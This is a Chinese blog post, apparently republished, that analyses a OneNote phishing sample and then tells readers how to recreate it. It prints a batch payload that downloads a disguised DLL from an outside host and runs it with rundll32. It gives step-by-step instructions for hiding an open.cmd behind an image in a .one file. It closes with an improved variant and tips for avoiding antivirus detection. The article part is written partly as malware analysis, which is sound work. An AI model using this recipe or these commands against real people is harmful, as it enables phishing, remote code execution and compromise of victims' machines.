思路|如何利用oneNote釣魚?

本文僅用于技術研究學習,請遵守相關法律,禁止使用本文所提及的相關技術開展非法攻擊行為,由于傳播、利用本文所提供的信息而造成任何不良后果及損失,與本賬號及作者無關。

本文來源無問社區,更多實戰內容,滲透思路盡在無問社區icon-default.png?t=N7T8http://www.wwlib.cn/index.php/artread/artid/10512.html

前言

拿到了兩個One Note的釣魚樣本。以 為 是個OneNote的0day,這不得分析分析搞一手。就花了點時間分析了一下,并且成功復現了手法。

沙箱分析

但凡是個正常人,肯定是不會直接雙擊樣本的。打開用殺軟先靜態掃了一波,df報毒了,某60和某絨沒報毒(不知道當你看到這的時候會不會報毒)。然后在虛擬機上裝一個OneNote。趁這個時間,把樣本扔到沙箱分析一下。這里用的是qax的沙箱。

文件概要

扔上去之后,發現已經有人在我之前跑過沙箱了,不用等了看結果。不出意外,肯定是惡意的文件,文件類型被 定義為 Powershell Script File 。這里沙箱給出的結果的是木馬。emmm,還不錯。

8cc998b461a7a6b9c73a57065cf1c065.png

行為分析

查看行為分析,這里給出的是:

分配可讀、可寫、可執行內存空間(通常為了解壓自身)

7ff20d46f1737252631e86155a0a83e5.png


了解過ShellCode加載的師傅可能很熟悉這個分配可讀、可寫、可執行內存空間的行為了,這就是常見的一個ShellCode加載的所有的行為特征(要是我,我肯定先申請一個rw...)。所以從這里看呢,這就是一個ShellCode加載器了。繼續往下看行為分析圖。

行為分析圖

a7524416123be67f2f025cf96ab43121.png

看到這里的調用鏈,狂喜,這真不會是個0day吧。One Note后調用powershell,之前我也分析過word漏洞的樣本,列如之前我寫過的CVE-2021-40444、CVE-2022-30190,有一點熟悉的感覺。

網絡行為

網絡行為這里是空的,當時很疑惑,按道理說機器上線時候是有回連c2的包的啊,不應該啊,后面再看沙箱運行的截圖,發現沙箱的網絡可能不通,所以這里可能就沒有外連。

4bb291ca0f1bff3312dcc1af3d0d6772.png

b6fe1dca8103bdf42973fc5bde1e1459.png

手動分析

手擼一下

我先去網上找了一波OneNote文件的結構,但是沒有找到,有關于.one文件的解析,但是也不重要了。拖到WinHex先看下文件頭。文件頭是

E4525C7B8C

開頭不是504b0304(因為docx、xlsx這之類的文件其實是采用zip壓縮算法的壓縮包),所以.one這跟docx他們的結構還不一樣,

e36e2f81e0c28a92460a9ccccc27dc07.png

沒事兒,繼續看。往下拖的時候,發現了里面有幾張圖片的文件頭和文件尾的16進制數。文件里應該是有圖片。拖到后面,發現了一段powershell命令。直接復制出來。

f3894cacb90593311ef55422d945869b.png

這段的大概意思就是,使用了 .NET Framework 中的 System.Text.Encoding 和 System.Convert 類。它的作用是將一個 Base64 編碼的字符串轉換為 ASCII 編碼的字符串。 .FromBase64String 方法是 System.Convert 類中的一個方法,它接收一個 Base64 編碼的字符串,并返回其對應的字節數組。因此,這段代碼需要一個 Base64 編碼的字符串作為參數,并將其轉換為 ASCII 編碼的字符串。

然后再將結果輸出到文件 C:ProgramDatain.cmd 里,然后再去執行他。現在的關鍵點就在他執行的內容是啥了,我們將base64字符串解碼。

@echo off
powershell Invoke-WebRequest -URI https://xxxxx.org/aswyw/01.gif -OutFile C:programdataputty.jpg
rundll32 C:programdataputty.jpg,Wind
exit

這里的內容主要就兩句了,從web上去下載文件到 C:programdataputty.jpg ,然后用rundll32去導出里面的函數執行從而上線。他導出的函數,就是ShellCode加載的函數了。

我去訪問了一下這個文件,發現這個文件已經變成空文件了,本來還想順便掏出ida pro分析一下加載器的(誰說搞web的就不會點二進制了),順便嫖一下人家的思路,看來是沒戲了。順便看了一下這個網站,應該是被ri了掛的文件上去,框架是WordPress的v6.1.1,版本比較新,應該是插件的洞打的。順便說一下,另外的一個站也是WordPress的v6.1.1,懷疑是批量摟了一波站。

雙擊打開

靜態能看的都看完了,看完這些東西,OneNote也早就裝好了,雙擊打開文件是一個OneNote的頁面,原來剛剛在WinHex看到的圖片就是他們OneNote居然沒有壓縮。有一個open,注意這里的open。習慣隨便拖一下圖片,發現拖不動,但是發現文件是只讀,這里我以為是跟word一樣,文件屬性只能讀,這里卡了一會。

5071db778c042277b4676090a08eb0b4.png

然后就是隨便點一下。雙擊open的時候會提示打開附件可能會有害,無視風險繼續。會彈出powershell的窗口,直接某60就攔掉了,他這里動態還是過不了的。

02cae30fcbd8df20bac1c3887c001557.png

到這里知道了他能干什么,但是由于無法編輯,還是不能知道他是怎么制作的。一籌莫展之際,就看看文件屬性,果然,這里的文件屬性被設置成了只讀,改掉之后繼續分析。

查看歷史編輯的記錄,是在2月7號編輯的,時間還不是很長。

拖開open那個小圖標,小黑子雞腳就露出來了,發現了后面藏的一個cmd文件。

ff9c0c56b16d050d1a7c3070fada25e2.png

把cmd文件拖出來,里面就是我們剛剛看到的那串PowerShell代碼了。

復現制作過程

制作非常簡單,幾乎不需要什么技巧,主要要考慮的姿勢還是cmd里的內容。

首先需要兩張圖片,一張背景,一張用來擋住cmd文件的圖標。

把背景拖入.one,置底。

9db2d4557ce272cdc57e4be6e2c596a2.png

  1. 制作cmd文件,文件名為open.cmd,這里可以自由發揮,導入.one,這里的cmd里面是windows的shell命令,總之是能上線就行。
  2. 把open這張小圖片導入,然后置頂蓋住cmd的圖標就行。
  3. 保存之后把文件屬性改為只讀。

總結

1.這個樣本的觸發需要誘導用戶手動點擊,跟word的宏差不多,要是人家收到不點擊,直接給你關掉就寄了,所以可用性還是不高。

2.還有就是打開會出現一個黑框,要等程序全部退出之后才會退出,這樣肯定會讓對面有所察覺,會被及時應急掉。我們可以加一句打開瀏覽器,窗口先彈出,然后瀏覽器彈出會蓋掉窗口。同樣出現瀏覽器出來打開了OneNote的官方網站,也會降低用戶的猜忌。

@echo off
start https://www.onenote.com/
powershell Invoke-WebRequest -URI https://xxx.org/aswyw/01.gif -OutFile C:programdataputty.jpg
rundll32 C:programdataputty.jpg,Wind
exit

3.用的powershell,powershell在國內的殺軟是監控很死的,動態大概率會寄掉的。所以只要用戶點擊了,我們能執行cmd里的命令,就不要去調powershell了,可以嘗試找一下白程序去下載文件然后執行等等思路,這里就不細說,僅僅是一個拋磚引玉,歡迎師傅們跟我交流。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/46216.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/46216.shtml
英文地址,請注明出處:http://en.pswp.cn/web/46216.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

[python]pycharm設置清華源

國內鏡像源有以下幾個,因為都是國內的,基本速度差不了太多。 清華:https://pypi.tuna.tsinghua.edu.cn/simple 阿里云:http://mirrors.aliyun.com/pypi/simple/ 中國科技大學 https://pypi.mirrors.ustc.edu.cn/simple/ 豆瓣&…

針對【module_or_function】的單元測試,全面覆蓋可能的【edge_cases】

針對【module_or_function】的單元測試,全面覆蓋可能的【edge_cases】 編寫單元測試是為了驗證代碼模塊或函數的正確性和魯棒性。對于module_or_function,首先需要確定這個模塊或函數的具體功能和預期輸入范圍。一個好的單元測試應該包括以下幾個步驟&a…

高并發服務器-使用多線程(Multi-Thread)實現【C語言】

在上期的socket套接字的使用詳解中(socket套接字的使用詳解)最后實現的TCP服務器只能處理一個客戶端的請求發送,當有其他客戶端請求連接時會被阻塞。為了能同時處理多個客戶端的連接請求,本期使用多線程的方式來解決。 程序流程 …

爬蟲案例(讀書網)(下)

上篇鏈接: CSDN-讀書網https://mp.csdn.net/mp_blog/creation/editor/139306808 可以看見基本的全部信息:如(author、bookname、link.....) 寫下代碼如下: import requests from bs4 import BeautifulSoup from lxml import etreeheaders{…

scottplot5 中 使用signalXY圖,如何更新數據?

🏆本文收錄于《CSDN問答解答》專欄,主要記錄項目實戰過程中的Bug之前因后果及提供真實有效的解決方案,希望能夠助你一臂之力,幫你早日登頂實現財富自由🚀;同時,歡迎大家關注&&收藏&…

總部下達任務時,如何保證員工的執行力?

執行力是個體基于戰略目標,有效整合利用資源,保質保量完成預定目標的操作能力,員工執行力的高低是企業完成效益、成果轉化的關鍵。執行力包含完成任務的意愿、完成能力、完成程度三個維度,其中意愿是基礎和出發點,能力…

物聯網與通信技術

查了很多資料,也夾雜著一些自己的見解。此篇文章僅探討三個問題:物聯網與通信技術的關系;5G為物聯網帶來了什么,物聯網真的需要5G嗎;物聯網發展的現實問題。 1、物聯網與通信技術的關系 最近幾年,物聯網的…

Apache POI 使用Java處理Excel數據 進階

1.POI入門教程鏈接 http://t.csdnimg.cn/Axn4Phttp://t.csdnimg.cn/Axn4P建議&#xff1a;從入門看起會更好理解POI對Excel數據的使用和處理 記得引入依賴&#xff1a; <dependency><groupId>org.apache.poi</groupId><artifactId>poi</artifactI…

CentOS搭建 Mono 開發環境

Mono 是一個由 Xamarin 公司所主持的自由開放源代碼項目,該項目的目標是創建一系列匹配ECMA標準的.NET工具,包括 C# 編譯器和通用語言架構,Mono項目不僅可以運行于Windows系統上,還可以運行于Linux,FreeBSD,Unix,OS X和Solaris,甚至一些游戲平臺,本實驗帶您搭建 Mono …

Linux chmod 命令簡介

在Linux中&#xff0c;chmod 命令用于改變文件或文件夾的訪問權限。要改變一個文件夾及其內部所有文件和子文件夾的權限&#xff0c;您可以使用遞歸選項 -R。以下是一些常用的 chmod 命令示例&#xff1a; 給所有用戶讀、寫和執行權限&#xff1a; chmod -R 777 /path/to/direc…

JVM高頻面試點

文章目錄 JVM內存模型程序計數器Java虛擬機棧本地方法棧Java堆方法區運行時常量池 Java對象對象的創建如何為對象分配內存 對象的內存布局對象頭實例數據對齊填充 對象的訪問定位 垃圾收集器找到垃圾引用計數法可達性分析&#xff08;根搜索法&#xff09; 引用概念的擴充回收方…

【Socket套接字編程】(實現TCP和UDP的通信)

&#x1f387;&#x1f389;&#x1f389;&#x1f389;點進來你就是我的人了 博主主頁&#xff1a;&#x1f648;&#x1f648;&#x1f648;戳一戳&#xff0c;歡迎大佬指點&#xff01; 人生格言: 當你的才華撐不起你的野心的時候,你就應該靜下心來學習! 歡迎志同道合的朋友…

java序列化與反系列化,serializable原理,Parcelable接口原理解析,Json,XML

Java的序列化和反序列化是用于對象的持久化和傳輸的重要機制。以下是對相關概念的詳細解釋&#xff1a; Java 序列化與反序列化 序列化 (Serialization) 是將 Java 對象轉換為字節流的過程&#xff0c;這樣對象就可以通過網絡傳輸或者保存到文件中。反序列化 (Deserializatio…

創建通用JS公共模塊并發布至npm

title: 創建通用JS公共模塊并發布至npm tags: UMD rollup verdaccio npm categories: 模塊化 概要內容 創建&#xff1a;JS公共模塊 打包&#xff1a;使用rollup 打包公共模塊 發布&#xff1a;js公共模塊至verdaccio平臺 發布&#xff1a;js公共模塊至npm平臺 如何創建JS公共模…

【PostgreSQL】Windows 上安裝 PostgreSQL 16版本

博主介紹:?全網粉絲20W+,CSDN博客專家、Java領域優質創作者,掘金/華為云/阿里云/InfoQ等平臺優質作者、專注于Java技術領域? 技術范圍:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大數據、物聯網、機器學習等設計與開發。 感興趣的可…

二叉樹遍歷(C++)

題目描述 樹和二叉樹基本上都有先序、中序、后序、按層遍歷等遍歷順序&#xff0c; 給定中序和其它一種 遍歷的序列就可以確定一棵二叉樹的結構。 假定一棵二叉樹一個結點用一個字符描述&#xff0c;現在給出中序和按層遍歷的字符串&#xff0c;求該樹 的先序遍歷字符串。 輸…

【Python】TensorFlow介紹與實戰

TensorFlow介紹與使用 1. 前言 在人工智能領域的快速發展中&#xff0c;深度學習框架的選擇至關重要。TensorFlow 以其靈活性和強大的社區支持&#xff0c;成為了許多研究者和開發者的首選。本文將進一步擴展對 TensorFlow 的介紹&#xff0c;包括其優勢、應用場景以及在最新…

基于jeecgboot-vue3的Flowable流程仿釘釘流程設計器-支持VForm3表單的選擇與支持

因為這個項目license問題無法開源&#xff0c;更多技術支持與服務請加入我的知識星球。 1、初始化的時候加載表單 /** 查詢表單列表 */ const getFormList () > {listForm().then(res > formOptions.value res.result.records) } 2、開始節點的修改&#xff0c;增加表…

計算機的錯誤計算(三十四)

摘要 用錯數預測 &#xff08;或 pow(a,x)&#xff09;函數的結果中含有的錯誤數字的個數&#xff0c;并與Visual Studio 和Excel 的輸出中含有的錯誤位數相比較。結果顯示&#xff0c;預測與實際一致。 對于 &#xff08;或 pow(a,x)&#xff09;函數&#xff0c;根據 與 的不…

C# 靜態變量與動態變量的區別及用法

在 C# 中&#xff0c;"靜態變量"與"動態變量"并不是直接相關的概念&#xff0c;但可以根據您的問題提供一些解釋。靜態變量和動態變量通常與變量的生命周期和類型綁定相關。以下是兩者的一些區別&#xff1a; 靜態變量&#xff08;Static Variables&#…